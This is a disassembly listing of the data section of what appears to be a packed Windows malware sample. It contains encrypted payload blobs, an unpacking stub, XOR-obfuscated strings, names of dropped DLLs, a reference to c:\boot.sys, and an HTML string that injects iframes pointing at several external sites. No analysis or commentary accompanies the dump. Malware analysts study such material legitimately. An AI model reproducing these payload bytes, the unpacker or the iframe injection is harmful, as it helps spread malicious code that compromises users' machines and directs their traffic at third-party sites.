		dd 0B020887h, 0F012D83Bh, 2223351Eh, 284619EAh,	4BEC64D4h
		dd 22F31AF5h, 8021424Ch, 3320531Fh, 111735Bh, 8859683h
		dd 8158819Ch, 0D0431C06h, 0B36216D1h, 1E4B4D99h, 4646D4BDh
		dd 0D8FC4646h, 161FDC94h, 0B30D46F6h, 8D69A5CBh, 0BF61EFBDh
		dd 4D89C78Bh, 0BF188BC5h, 81A305BBh, 0CC7EA257h, 0A508EC65h
		dd 3DCA9411h, 263E3789h, 6C1B9D6Fh, 0EC0F1A49h,	31FFB602h
		dd 35B3AB68h, 41500611h, 5EF7FFF0h, 8303FB6Ch, 0F093A227h
		dd 3FBFA559h, 0B7398840h, 0FE1A53ABh, 833FFFFh,	4A8A21B3h
		dd 0A90249Fh, 57E94385h, 212DC646h, 99EBB054h, 16D171Fh
		dd 88B2970Eh, 31756D3Fh, 48051E3Ah, 0C689898Ah,	4848516Ch
		dd 0FFED8BF5h, 46E27992h, 6B38BF02h, 0D78A3030h, 3435EE6Bh
		dd 810C0506h, 0D939768Ah, 0BB3CCF0Ah, 231C03F3h, 5ADEE11Ch
		dd 6A05FE56h, 7593A3ACh, 40A1933Bh, 13291B31h, 8200B45h
		dd 46CE14A3h, 0C38BFBADh, 92C1234Bh, 70143CA6h,	946CA136h
		dd 6C2EFBC3h, 8AE742B6h, 3D8AA172h, 0CD86DA04h,	0D04BF6C4h
		dd 54F28B8Ah, 0E1330060h, 0C34A655Ch, 4C35806Fh, 4D389049h
		dd 27B0D988h, 4E06C7DEh, 0F73F3023h, 81010660h,	3C05F552h
		dd 20111836h, 0C36245C7h, 80C03240h, 1A4CF488h,	0C7B0EBA2h
		dd 91598C47h, 6C128365h, 0D8721C4Dh, 0F0A02F6h,	0C2123C74h
		dd 6B57DAB3h, 0CD960E10h, 8083E03Ch, 85D8074Fh,	0B4D1E0Eh
		dd 0B947B83h, 7C0F0854h, 1EE88F54h, 0BE2DE793h,	2521BBBh
		dd 10053575h, 47F61974h, 0BD0B8312h, 10759E00h,	87B5C6Ah
		dd 0B86AC530h, 0A7F366BBh, 570A758Fh, 145A539Ah, 28C00163h
		dd 52325702h, 2961B258h, 7B2CD0D1h, 0D0C639D3h,	8B717401h
		dd 6419CC86h, 4F274BECh, 0CD9E8D53h, 219086CBh,	868E1919h
		dd 464EEF86h, 5BCB960Eh, 13750154h, 5D25B157h, 0ACB656ACh
		dd 0E6E7AB04h, 7B015428h, 9102CC05h, 0C8919191h, 91BCDCC4h
		dd 0B8919191h, 81D0C0B4h, 0D4919199h, 2800E0D8h, 0FFC8C945h
		dd 86EDE200h, 0E9049EE8h, 86F000BAh, 0BFC22356h, 0FB362170h
		dd 5A4DBA01h, 3C708B0Eh, 0B454C603h, 41BC1C8Dh,	6F001006h
		dd 6ED7C2D1h, 5EE0EB38h, 221A0163h, 26FCBADDh, 0B179014h
		dd 4A76F17Ch, 71D7D7Ah,	0FADEE87Fh, 8AC2037Fh, 3ACB8A18h
		dd 841A751Eh, 588A30C9h, 715E0C01h, 5D5015BBh, 11464690h
		dd 0A3FFE275h, 5CF7605h, 4FD8401Bh, 2045831Bh, 0A6818302h
		dd 3CC78B42h, 0FC3B9672h, 7AB357C5h, 4A33BC72h,	6A2D20EEh
		dd 0CAD8FF0h, 2B00B70Fh, 455D8DF2h, 0B5B882D4h,	0DF810630h
		dd 2BDAAA4Eh, 410C53FAh, 31706164h, 52B5C800h, 40313F4h
		dd 0FB0ED60Fh, 6F743BA5h, 176C6F63h, 30191244h,	1752F453h
		dd 78F14267h, 5677C167h, 4B4D94D5h, 0C6480EBCh,	40912BBEh
		dd 811D0CA9h, 0E4562A02h, 0D55787F4h, 7870B0BEh, 3201638h
		dd 157AECF2h, 4E752D0Bh, 32C8B24h, 0A05DFA74h, 5DB0DFA3h
		dd 0C3200FECh, 4FFF3F53h, 1601220Fh, 0F486B62h,	50762051h
		dd 56C14BD4h, 68839E9Eh, 6A382D34h, 57DA3EA9h, 1CA3311Ah
		dd 12B0F348h, 1694205Dh, 85CF2048h, 60C2141Ch, 72177C87h
		dd 7862EC18h, 0CEB347A3h, 5B923E50h, 66B58889h,	71055E2Bh
		dd 0E230122h, 0FB67DE21h, 7F1745Fh, 2FA1E918h, 6F1463BBh
		dd 53F95C7h, 505C3D24h,	0D15BF7h, 764544h, 7630069h, 0DDC2895Ch
		dd 0B64876Dh, 7720073h,	9B75D7AEh, 30B611Bh, 3741D6Dh
		dd 5D631B72h, 8CDF203Ch, 17633B55h, 1F748DC1h, 9B216E65h
		dd 6DCF7D17h, 52ED4950h, 6F630007h, 0CC0DB642h,	5C0D6937h
		dd 9440B327h, 866CA911h, 0BDB43218h, 685CF0D0h,	50092EA8h
		dd 6809E25Eh, 0B281DA18h, 0D4F72153h, 50125606h, 28261C4Bh
		dd 0E25A865Ah
		dd 0DA958308h, 85B7F6ADh, 0AA58070Dh, 944D22C4h, 0FC685153h
		dd 0D6EE6F3Bh, 98209476h, 0DC89C88h, 6FEB006h, 3EE6E462h
		dd 142F14B4h, 0B6C0E0B8h, 8FF6DB2Dh, 0D002CC28h, 7E2057D4h
		dd 3EE6880Ch, 2F0C68E8h, 2F737940h, 1816C41Bh, 568B1E24h
		dd 1DE6A38h, 8B1BE215h,	59A146FAh, 0E0071AB8h, 16D16F0Dh
		dd 920B8F7h, 89345E92h,	8BF57002h, 8940F25Eh, 78464B86h
		dd 0C1156354h, 0B894FA22h, 47EECEFFh, 4586874h,	0FF0E6CA3h
		dd 8648B8D6h, 157CF3C8h, 0EA484C50h, 0C1D0F41Ch, 29CC6A53h
		dd 6F4DECF3h, 51833D73h, 2FF39659h, 0F0683440h,	0F07651F1h
		dd 0F0980AC4h, 0D0FA012h, 32D45314h, 4A06D97Ah,	30CC12D8h
		dd 0E5333013h, 0C3031D65h, 564430E0h, 0A0302A34h, 2B02B4C9h
		dd 1F5064FDh, 654B01C8h, 697053D3h, 0EA0C4C6Eh,	177451ADh
		dd 0FB490121h, 0FEDDAEFEh, 626D7953h, 4C631C6Fh, 394171Ah
		dd 516C7452h, 0B36A8975h, 49790DB6h, 55086107h,	3173ED92h
		dd 0A895431Bh, 642BB677h, 542B565Ch, 64506DADh,	29162D49h
		dd 66FEAA6Bh, 6F436695h, 656C706Dh, 0DB3E7164h,	0F3951B92h
		dd 634200F7h, 68A0C6C0h, 17FA5A4Ah, 0F24DF6B5h,	5D376E49h
		dd 257E3C45h, 5E85FAA1h
dword_444804	dd 735002D7h		; DATA XREF: start+61r	start+68w ...
dword_444808	dd 0B09F6B95h		; DATA XREF: start+81w
dword_44480C	dd 22BD27B3h		; DATA XREF: start+74r
		dd 6E416F54h, 176B8D1Bh
		db 65h
dword_444819	dd 4DEA330Eh		; DATA XREF: start+89r
		db 64h,	0F2h, 0BFh
		dd 4E7EB6C7h
		db 2, 4Dh
dword_444826	dd 4CEC4D6Dh		; DATA XREF: start+9Dr
		dw 506Bh
		dd 0BAD76761h, 7B9AA802h, 66624FE0h, 7E03661Eh,	4DB3585Eh
		dd 52B517D4h, 0A1794214h, 41AACEDAh, 0EE780145h, 0D9F6C355h
		dd 70795417h, 5369F913h, 186DFF95h, 736F1A05h, 6C6E726Bh
		dd 2E78652Eh, 0B536D6E1h, 384B664Bh, 4F827361h,	0EFC97336h
		dd 71634113h, 50726975h, 42ED7708h, 4973DEDBh, 48AD7172h
		dd 69613E0Dh, 70B6BB33h, 44D40D7Bh, 5D65A370h, 0B14C4117h
		dd 95517C08h, 0B5DBC174h, 0AD556764h, 22DC1176h, 0E2DAA95Bh
		dd 158B5074h, 70DDCC27h, 42BDFEA8h, 19D46675h, 0E42581C8h
		dd 6029332Ch, 5F4B0E49h, 8D0C4572h, 41006DEAh, 0C5BD6372h
		dd 0D6DAF685h, 226EBAA3h, 0AB36EF33h, 69B7BC2Ah, 11F00AEh
		dd 3DE4A033h, 0E55ACF6Ch, 42744136h, 0B726256Fh, 99802D92h
		dd 662B2B95h, 65488DDDh, 3C797056h
dword_444914	dd 6422156Dh		; DATA XREF: start+91r	start+A5r
dword_444918	dd 1D141587h		; DATA XREF: start+7Br
		dd 491AF975h, 2E0D891Fh, 0A1535953h, 0D5F14AC8h, 0B6188901h
		dd 90072D17h, 193001E6h, 0C95B4804h, 0C04F14B2h, 0D7431304h
		dd 56B453C0h, 45055F9Dh, 0D034CDEDh, 4FAB5340h,	8B055FB3h
		dd 46B9FE78h, 4BD4F0Bh,	6D03FEEFh, 452B26C3h, 473F075Dh
		dd 7210B4EFh, 31631901h, 6C341D73h, 697B744Fh, 74D6735h
		dd 61AE839Bh, 0D490D6Ch, 40232B66h, 3BAEB1BCh, 390334B9h
		dd 64C76207h, 751D75D0h, 2343171Eh, 14B0736Dh, 2073C80Dh
		dd 0C1886181h, 6B617418h, 339B20AFh, 0D13DF74Dh, 6F116307h
		dd 3D927920h, 0CF76E0C4h, 0C1531407h, 3DF6DC0Ch, 0F34F7953h
		dd 9DD6375Dh, 4B3354CFh, 6C056E2Dh, 0E066520Dh,	31C307BAh
		dd 8DCF1375h, 119EE61Dh, 44CB4715h, 44946315h, 70698DD7h
		dd 6E2D6979h, 0F7595B1Fh, 516849B6h, 53996521h,	0B9018905h
		dd 560B0036h, 1C2B5881h, 0EF324B97h, 0F3070585h, 3135C8D8h
		dd 7002E37h, 6665C44Fh,	61B774B0h, 0EBAF6ED5h, 71E790B6h
		dd 1B4C2F29h, 1B842967h, 930D0EEBh, 0A3678D79h,	0ECAE1021h
		dd 1B2013D9h, 0BA1AEB06h, 0BF3215A9h, 92D0530h,	0CEC26233h
		dd 770C9B8Ah, 2F0D3054h, 51646DC6h, 742672C7h, 576FB38Fh
		dd 0B6B7D29h, 0CC348D83h, 4F3E1FD5h, 6C096993h,	2FE76612h
		dd 0A461EF6Eh, 72EBAC1h, 0D205779h, 0E7C77550h,	576106C6h
		dd 643FB942h, 0BEE8C46Fh, 6F1F5C48h, 0EF43750Fh, 45258CA2h
		dd 8BB3A77h, 5B642123h,	0E7DEDFE1h, 53B746CEh, 0F5695F75h
		dd 0C26C61D2h, 561F44B7h, 87095D43h, 240056E8h,	0C27A6D84h
		dd 7315B6E8h, 9A3611Fh,	337FB004h, 315CD90h, 0C43380A8h
		dd 0DF34D034h, 0FFFFD55Bh, 0F34EE34h, 2A351B35h, 0A6353935h
		dd 0D735D135h, 32A7E035h, 0FF556FFAh, 8A366B36h, 0A4369B36h
		dd 8A371099h, 46381C37h, 0FFFFFF38h, 385F3A17h,	38E238C3h
		dd 392838FEh, 39453938h, 3965394Bh, 39D339B6h, 39F939E6h
		dd 0FFFFFFFFh, 3A403A39h, 3A4E3A47h, 3A5C3A55h,	3A6A3A63h
		dd 3A783A71h, 3A9F3A90h, 3AB13AA8h, 3B083AF4h, 0FFFFFFFFh
		dd 3B153B10h, 3B7E3B76h, 3C723C0Ch, 3C9F3C8Ch, 3D313D09h
		dd 3DB93DB0h, 3E803E3Ah, 3E9E3E97h, 0FFFFAF8Bh,	3F043EBEh
		dd 3F4C3F35h, 3F6E3F62h, 3FF03F7Dh, 7B1084F9h, 66FFFFF2h
		dd 53020C0h, 2A311131h,	6C313931h, 89317831h, 0C319831h
		dd 0FFC00232h, 2B3323FFh, 0C2334433h, 0B33E333h, 18341334h
		dd 0FF8F2934h, 58FFFFDDh, 0F334C134h, 2134FB34h, 2E352935h
		dd 89358135h, 0F335E5CBh, 1635FD35h, 7F462336h,	3036FFF7h
		dd 41363936h, 7C365836h, 0BADB8236h, 4E36DD36h,	0FF0E5338h
		dd 38FFFFFFh, 3890387Dh, 393E38B1h, 3A1739B1h, 3A5E3A22h
		dd 3AC63A68h, 3B1D3AE8h, 3B7C3B28h, 0BFB73B85h,	3BFEFFFBh
		dd 3C683C07h, 3C763C70h, 0B9883C80h, 3D503CE7h,	2E343D5Dh
		dd 0FFFE453Eh, 4A3EFFFFh, 573E503Eh, 783E6E3Eh,	0DE3ECD3Eh
		dd 6C3F613Eh, 933F853Fh, 0CA3FBF3Fh, 0E93FDB3Fh, 0EFFFFF3Fh
		dd 0BFF4E81Eh, 3089304Ch, 30DE30D9h, 30FD30F6h,	3141313Ah
		dd 3164315Bh, 0FFF42F10h, 319F3194h, 31AD31A8h,	31F831F2h
		dd 1632353Fh, 1ADFFE1Bh, 34AAC39Eh, 34CB34BAh, 350834D7h
		dd 356E8D20h, 0FE003780h, 35A03586h, 277835A5h,	763748h
		dd 0F0DEDF0h, 0A72C380Eh, 68385038h, 0BFFFB7FFh, 1438CB51h
		dd 20391939h, 2C392639h, 393439h, 39763961h, 398D3985h
		dd 1B399Fh, 39A7EE0Bh, 0D099CBACh, 0FE00ED17h, 0F539FD5Bh
		dd 0FF39FA39h, 3A103A4Bh, 3A1E3A18h, 0FFFFFF74h, 3AB31937h
		dd 3B733B42h, 3BA83B81h, 3BB43BAEh, 3BC03BBAh, 3BCC3BC6h
		dd 3BD83BD2h, 0FFFD2FFFh, 3BE43BDEh, 3BF03BEAh,	3DEE3DA2h
		dd 0FA03DF3h, 213E143Eh, 353E303Eh, 0C006423Eh,	513EFFFFh
		dd 603E563Eh, 813E723Eh, 903E893Eh, 473F3D3Eh, 1BFC02Bh
		dd 913F83F0h, 0BC3FA629h, 0D53FC43Fh, 6DB19FFh,	30F3F32Dh
		dd 1A3015DFh, 24301F30h, 0EDB7F824h, 302930h, 3F30F535h
		dd 6A306530h, 0C7E61F30h, 424E009Eh, 19974931h,	0FA064060h
		dd 458D01A2h, 73F84473h, 2EC49FEh, 0FB6B7068h, 302E3220h
		dd 268B4B5Ch, 5C17809Eh, 0F4F05C77h, 55050120h,	0B1626470h
		dd 0A70495C4h, 0FE77AA4Eh, 5A6AD43Bh, 536B4209h, 74726174h
		dd 6F9C0530h, 756F7247h, 780AD670h, 1FAC0A41h, 740582C1h
		dd 7618D734h, 76435016h, 6E73D55Ch, 0D01205Bh, 709FD700h
		dd 7EDE01EDh, 0BA1D6F97h, 8F61D00h, 155C903Eh, 323C575Dh
		dd 6604640h, 4523FB59h,	80082A1Fh, 0FF85F633h, 7F18177Eh
		dd 5C661519h, 3B461E28h, 0A4237CF7h, 80E9F30Ah,	0FEE03B24h
		dd 1CF24362h, 18004010h, 54680C13h, 0C9BE6176h,	111473C6h
		dd 48100E6Ah, 0E054813Eh, 401028h, 0EE74C2A9h, 4C1B1448h
		dd 0A306E7E0h, 54C65660h, 36A3090Fh, 49105AF7h,	40042005h
		dd 64059C4Fh, 593167FBh, 64BD2034h, 0F6C94C9Ch,	9C9CBE57h
		dd 0CF25C6A4h, 68C0A481h, 799FF7D0h, 681600D8h,	6ABB683Ah
		dd 2394BE0Ah, 7FDDF348h, 0AC7D8D59h, 0BEA4A5F3h, 7D8D0B84h
		dd 7CA5A5D8h, 0C11BB19Eh, 74BEF5F0h, 0B76CE80Ah, 0F84776EBh
		dd 6468E4A5h, 0ACE6A40Bh, 205D99BEh, 2480553Eh,	6A7BC169h
		dd 7457B001h, 6A0F14ECh, 350F3519h, 0F89B09E2h,	4CC4831Fh
		dd 0CD9261C9h, 0DF08E19Ch, 37F56AF8h, 44A66CD4h, 0D4A94005h
		dd 73850F80h, 0BE9DF761h, 6604EFBCh, 0FF0096F2h, 420EF7BAh
		dd 358B0C64h, 0F4FE14ECh, 46306767h, 19031AD6h,	0BF784783h
		dd 5204C2EEh, 842A3C30h, 10E1105h, 0D98B6159h, 68591E67h
		dd 2A2039ECh, 0C8680134h, 10FF00F3h, 1A7CAD72h,	385A13DEh
		dd 640AEA60h, 349F74C3h, 0D40476E0h, 112E30AFh,	7B2CEFEFh
		dd 0D68D8D04h, 98D0FF68h, 0BF0A5628h, 204D1DEFh, 5FBB6C51h
		dd 8B5900B5h, 3635C096h, 76A7962Ah, 50DD1448h, 4B65709h
		dd 8DEA2D1Eh, 0FF33027Dh, 20F9080Eh, 0B023B454h, 1D24575Dh
		dd 735957B0h, 0CC510205h, 60160000h, 1B70A028h,	19C4110h
		dd 18013C61h, 5C21C406h, 31004401h, 0BA4280C0h,	9384BA0Ah
		dd 0F9773Eh, 20303104h,	8824A692h, 1555790h, 20318804h
		dd 0E292010Bh, 10E2090h, 65601D4h, 4C04B2C4h, 0E6062090h
		dd 0F1256D3Eh, 88441212h, 0D8304116h, 7DE3D25Ch, 460AB27Bh
		dd 0B6674456h, 85105580h, 43EC8A36h, 315C69C4h,	20067301h
		dd 0C54165Fh, 20F20001h, 0F79E12Fh, 0D5656E01h,	22A0B078h
		dd 0CE280C1h, 8DF50581h, 840C021Fh, 744EE054h, 57AC837Ah
		dd 68170419h, 50599604h, 906CB05Fh, 510C02EBh, 0FD48206Ch
		dd 7B2Ch, 71BFBC00h, 12000000h,	0FF0000h, 6000BE60h, 0BE8D0040h
		dd 0FFFFB000h, 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah
		dd 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h
		dd 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B0975EFh,	0FCEE831Eh
		dd 0E473DB11h, 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h
		dd 0C5897474h, 775DB01h, 0EE831E8Bh, 11DB11FCh,	75DB01C9h
		dd 831E8B07h, 0DB11FCEEh, 2075C911h, 75DB0141h,	831E8B07h
		dd 0DB11FCEEh, 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh
		dd 2C183E4h, 0F300FD81h, 0D183FFFFh, 2F148D01h,	76FCFD83h
		dd 42028A0Fh, 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh
		dd 83078904h, 0E98304C7h, 1F17704h, 0FF4CE9CFh,	895EFFFFh
		dd 11AB9F7h, 78A0000h, 3CE82C47h, 80F77701h, 0F275043Fh
		dd 5F8A078Bh, 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h
		dd 830789F0h, 0D88905C7h, 0BE8DD9E2h, 7000h, 0C009078Bh
		dd 5F8B3C74h, 30848D04h, 9000h,	8350F301h, 96FF08C7h, 9050h
		dd 47078A95h, 0DC74C008h, 4857F989h, 0FF55AEF2h, 905496h
		dd 74C00900h, 83038907h, 0E1EB04C3h, 905896FFh,	0E9610000h
		dd 0FFFFDF61h, 26h dup(0)
		dd 0A070h, 0A050h, 3 dup(0)
		dd 0A07Dh, 0A060h, 3 dup(0)
		dd 0A08Ah, 0A068h, 5 dup(0)
		dd 0A094h, 0A0A2h, 0A0B2h, 0
		dd 0A0C0h, 0
		dd 0A0CEh, 0
aKernel32_dll_1	db 'KERNEL32.DLL',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 2
aLoadlibrarya	db 'LoadLibraryA',0
		align 10h
aGetprocaddress	db 'GetProcAddress',0
		align 10h
aExitprocess	db 'ExitProcess',0
		dd 65520000h, 6F6C4367h, 654B6573h, 79h, 646E6172h, 4Ch	dup(0)
		dd 3, 0Eh
dword_445448	dd 40h			; DATA XREF: sub_4083E5+15r
					; sub_4083E5:loc_408413r ...
aMvwp		db 'Mwp',0             ; DATA XREF: sub_40847D+1Eo
aCBoot_sys	db 'c:\boot.sys',0      ; DATA XREF: sub_4085D0+37o
word_44545D	dw 20h			; DATA XREF: sub_4085D0+44r
byte_44545F	db 0			; DATA XREF: sub_4085D0+BAo
dword_445460	dd 582049h		; DATA XREF: sub_4085D0+D6r
dword_445464	dd 11h,	0Fh dup(0)	; DATA XREF: sub_4088A5+12o
dword_4454A4	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_4088A5+Do
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh, 2, 12h
dword_4454EC	dd 0			; DATA XREF: .text:00408742r
					; .text:loc_40875Br ...
word_4454F0	dw 46h			; DATA XREF: sub_4087F1+4r
		align 4
dword_4454F4	dd 2			; DATA XREF: sub_4088D5+105r
		dd 12h
dword_4454FC	dd 0			; DATA XREF: .text:00408824r
					; .text:loc_40883Dr ...
word_445500	dw 46h			; DATA XREF: sub_4088D5+Cr
word_445502	dw 7630h		; DATA XREF: sub_4088D5+19o
		db 0
byte_445505	db 20h,	2Ch, 0		; DATA XREF: sub_4088D5+29o
dword_445508	dd 5E233Bh		; DATA XREF: sub_4088D5+88r
		dd 2, 0Bh
dword_445514	dd 0			; DATA XREF: .text:00408A1Cr
					; .text:loc_408A35r ...
dword_445518	dd 0FFFFFFFFh		; DATA XREF: sub_408A95+4Fr
		dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
aJwouJ?		db 'jWOu J?',0          ; DATA XREF: sub_408A95+65o
dword_445920	dd 403B20h		; DATA XREF: sub_408A95+88r
off_445924	dd offset loc_408B25	; DATA XREF: sub_408A95+81r
		dd offset loc_408B32
		dd offset loc_408B69
		dd offset loc_408B92
aHtmlIframeSrcH	db '<html><iframe src=http://kavkazcenter.com/russ/></iframe><iframe '
					; DATA XREF: sub_408BE4+8Bo
					; sub_408BE4+A7o
		db 'src=http://kavkazcenter.net/russ/></iframe><iframe src=http://kav'
		db 'kazchat.com></iframe><iframe src=http://chechenpress.info></ifram'
		db 'e><iframe src=http://chechenpress.co.uk></iframe><iframe src=http'
		db '://shaheeds.org></iframe><iframe src=http://daymohk.info></iframe'
		db '><iframe src=http://chripress.org></iframe><iframe src=http://mar'
		db 'sho.dk></iframe>',0
dword_445ACB	dd 4C262Dh		; DATA XREF: sub_408DEF:loc_408E6Er
dword_445ACF	dd 7E3139h		; DATA XREF: sub_408E89+Cr
aXola		db 'xOLa%',0            ; DATA XREF: sub_408E89+2D7o
a6s7P		db '6S7+P',0            ; DATA XREF: sub_408E89+2EBo
aAYI		db 'A&y I',0            ; DATA XREF: sub_408E89+607o
word_445AE5	dw 55h			; DATA XREF: sub_408E89+7EFr
aDvybtb		db ' dyTB',0          ; DATA XREF: sub_408E89+847o
byte_445AEF	db 58h			; DATA XREF: sub_408E89+889o
		dd 832D7F20h
		db 36h,	69h, 0
word_445AF7	dw 63h			; DATA XREF: sub_408E89+9ACr
byte_445AF9	db 25h,	55h, 0		; DATA XREF: sub_409847+16o
word_445AFC	dw 24h			; DATA XREF: sub_409847+23r
aXeXw7		db 'xe#xW7',0           ; DATA XREF: sub_409847+36o
aSZtw		db 's* ztw',0           ; DATA XREF: sub_409847+49o
word_445B0C	dw 4Ah			; DATA XREF: sub_409847+56r
dword_445B0E	dd 304D2Eh		; DATA XREF: sub_409847+63r
aMc_o9		db ' MC_O9',0           ; DATA XREF: sub_409847+9Do
aV?zP		db 'v?Z,P',0            ; DATA XREF: sub_409847+12Ao
a9yb		db '9y|',27h,'&',0     ; DATA XREF: sub_409847+227o
aRlJ		db 'Rl J',0             ; DATA XREF: sub_409847+23Ao
aMe0AP		db 'Me0/&P',0          ; DATA XREF: sub_409847+291o
a@_aP1		db ' @_a&P1',0          ; DATA XREF: sub_409847+2DFo
aLLe		db 'L LE',0             ; DATA XREF: sub_409847+3D4o
a8bd3		db '*8bd3',0            ; DATA XREF: sub_409847+3EEo
word_445B46	dw 70h			; DATA XREF: sub_409847+414r
aWxQ		db 'WX$Q',0             ; DATA XREF: sub_409847+442o
aYxC		db 'yX>c ,',0           ; DATA XREF: sub_409847+50Eo
aDdjrm		db '!ddJrm*',0          ; DATA XREF: sub_409847+544o
aPYN		db ' P',27h,'y&n',0     ; DATA XREF: sub_409847+681o
byte_445B63	db 0			; DATA XREF: sub_409847+6C0o
a7Emen		db '7 EmEn;',0          ; DATA XREF: sub_409847+742o
aSx		db 'sx',0               ; DATA XREF: sub_409847+7F3o
dword_445B6F	dd 7E673Eh		; DATA XREF: sub_409847+8ADr
dword_445B73	dd 5E3048h		; DATA XREF: sub_409847:loc_40A325r
word_445B77	dw 40h			; DATA XREF: sub_409847+AFAr
byte_445B79	db 6Eh,	4Ah, 0		; DATA XREF: sub_409847+B2Do
byte_445B7C	db 73h,	21h, 0		; DATA XREF: sub_409847+BE7o
byte_445B7F	db 25h			; DATA XREF: sub_409847+E84o
		dd 497F257Ah
		db 0
word_445B85	dw 31h			; DATA XREF: sub_40A704+7r
word_445B87	dw 72h			; DATA XREF: sub_40A704+55r
aQk		db 'qk  ',0             ; DATA XREF: sub_40A766+21o
byte_445B8E	db 0			; DATA XREF: sub_40A766+B8o
dword_445B8F	dd 372A61h		; DATA XREF: sub_40A766+F6r
a3hay		db '3hAy',0             ; DATA XREF: sub_40A766+154o
a8bTfa		db '<8B=tf',0          ; DATA XREF: sub_40A766+1FCo
a_rVnx		db '_r&nx',0           ; DATA XREF: sub_40A766+20Ao
dword_445BA7	dd 31502Eh		; DATA XREF: sub_40A766+332r
dword_445BAB	dd 685E59h		; DATA XREF: sub_40A766+365r
byte_445BAF	db 42h			; DATA XREF: sub_40A766+557o
		db 3Dh,	0
aVcxs		db '|vCXS',0            ; DATA XREF: sub_40A766+59Ao
aWBqy		db ' w bqy ',0          ; DATA XREF: sub_40A766+5E3o
byte_445BC0	db 0			; DATA XREF: sub_40A766+610o
aWAs@		db 'W!aS@',0            ; DATA XREF: sub_40A766+67Co
aLKVm		db 'l:K VM~',0          ; DATA XREF: sub_40A766+690o
aScG		db 'Sc g',0             ; DATA XREF: sub_40A766+6F8o
a3sd_		db '3Sd_',0             ; DATA XREF: sub_40A766+75Ao
aKT		db '^+k!~T',0           ; DATA XREF: sub_40A766+827o
dword_445BE0	dd 5E466Bh		; DATA XREF: sub_40B01B:loc_40B134r
a9O1		db ' 9',27h,'O1',0      ; DATA XREF: sub_40B143+60o
byte_445BEA	db 0			; DATA XREF: sub_40B143+74o
aEv		db 'ev# ',0             ; DATA XREF: sub_40B143+1CAo
word_445BF0	dw 38h			; DATA XREF: sub_40B143+258r
aV880k		db '8+8 0k',0          ; DATA XREF: sub_40B143+33Do
aA?5m		db 'A?5m',0             ; DATA XREF: sub_40B143+383o
word_445BFF	dw 27h			; DATA XREF: sub_40B143+667r
aShzq		db 'ShzQ',0             ; DATA XREF: sub_40B143+780o
		align 4
aN_1		db '',0                ; DATA XREF: sub_40B143+810o
aAz		db '',0               ; DATA XREF: sub_40B143+70Ao
byte_445C0D	db 0F8h, 0C3h, 0CCh	; DATA XREF: sub_40B143+639o
aNN		db 'ȍ',0
byte_445C21	db 0F8h, 0C3h, 0CCh	; DATA XREF: sub_40B143+627o
		dd 8DC8C1CFh, 0CC8DC2D9h, 0C2C5D9D8h, 0C8D7C4DFh, 0E48D808Dh
		dd 0FFE2EEE3h, 0F9EEE8FFh, 0E3E4FD8Dh, 0C1FD8D83h, 0C8DECCC8h
		dd 0C2CE8D81h, 0CEC8DFDFh
		db 0D9h, 83h, 0
aIAi		db 'ހ',0            ; DATA XREF: sub_40B143+487o
byte_445C5D	db 0FDh, 0C1h, 0C8h	; DATA XREF: sub_40B143+42Fo
		dd 81C8DECCh, 0C1C8DE8Dh, 8DD9CEC8h, 0C4DDD5E8h, 0C4D9CCDFh
		dd 0F48DC3C2h, 0DFCCC8h
aINi		db 'ލ',0            ; DATA XREF: sub_40B143+3D0o
					; sub_40B143+67Bo
word_445C82	dw 0C1FDh		; DATA XREF: sub_40B143+3A0o
aBnNsNr		db 'ȁٍÍ',0
aI		db '',0               ; DATA XREF: sub_40B143+347o
byte_445CA5	db 0EEh, 0E1h, 0FEh	; DATA XREF: sub_40A766+769o
		dd 88F1E9E4h, 0C3E4F1DEh, 0CEC2DFFDh, 0DBDFC8FEh, 9F9EDFC8h
		db 0
byte_445CBD	db 0FBh, 0		; DATA XREF: sub_40A766+73Do
byte_445CBF	db 0E6h			; DATA XREF: sub_40A766+707o
		db 0
byte_445CC1	db 0FEh, 0C2h, 0CBh	; DATA XREF: sub_40A766+6C1o
		dd 0DFCCDAD9h, 0C4E0F1C8h, 0DEC2DFCEh, 0F1D9CBC2h, 0C9C3C4FAh
		dd 0F1DEDAC2h, 0DFDFD8EEh, 0FBD9C3C8h, 0C4DEDFC8h, 0FEF1C3C2h
		dd 0C1C1C8C5h, 0DBDFC8FEh, 0E2C8CEC4h, 0CEC8C7CFh, 0C1C8E9D9h
		dd 0C2E1D4CCh
		db 0CCh, 0C9h, 0
byte_445D07	db 0FFh			; DATA XREF: sub_40A766+57Ao
		dd 0DEC4CAC8h, 0FEDFC8D9h, 0C4DBDFC8h
dword_445D14	dd 0DFFDC8CEh, 0DEC8CEC2h ; DATA XREF: .data:off_44646Ao
		db 0DEh, 0
aUqg		db '',0     ; DATA XREF: sub_40A766+566o
byte_445D2B	db 0F1h			; DATA XREF: sub_40A766+425o
aG		db 'ك',0
aDatkkq32_dll	db 'datkkq32.dll',0     ; DATA XREF: sub_40A766+3E6o
aDnkkq_dll	db 'dnkkq.dll',0        ; DATA XREF: sub_40A766+3B1o
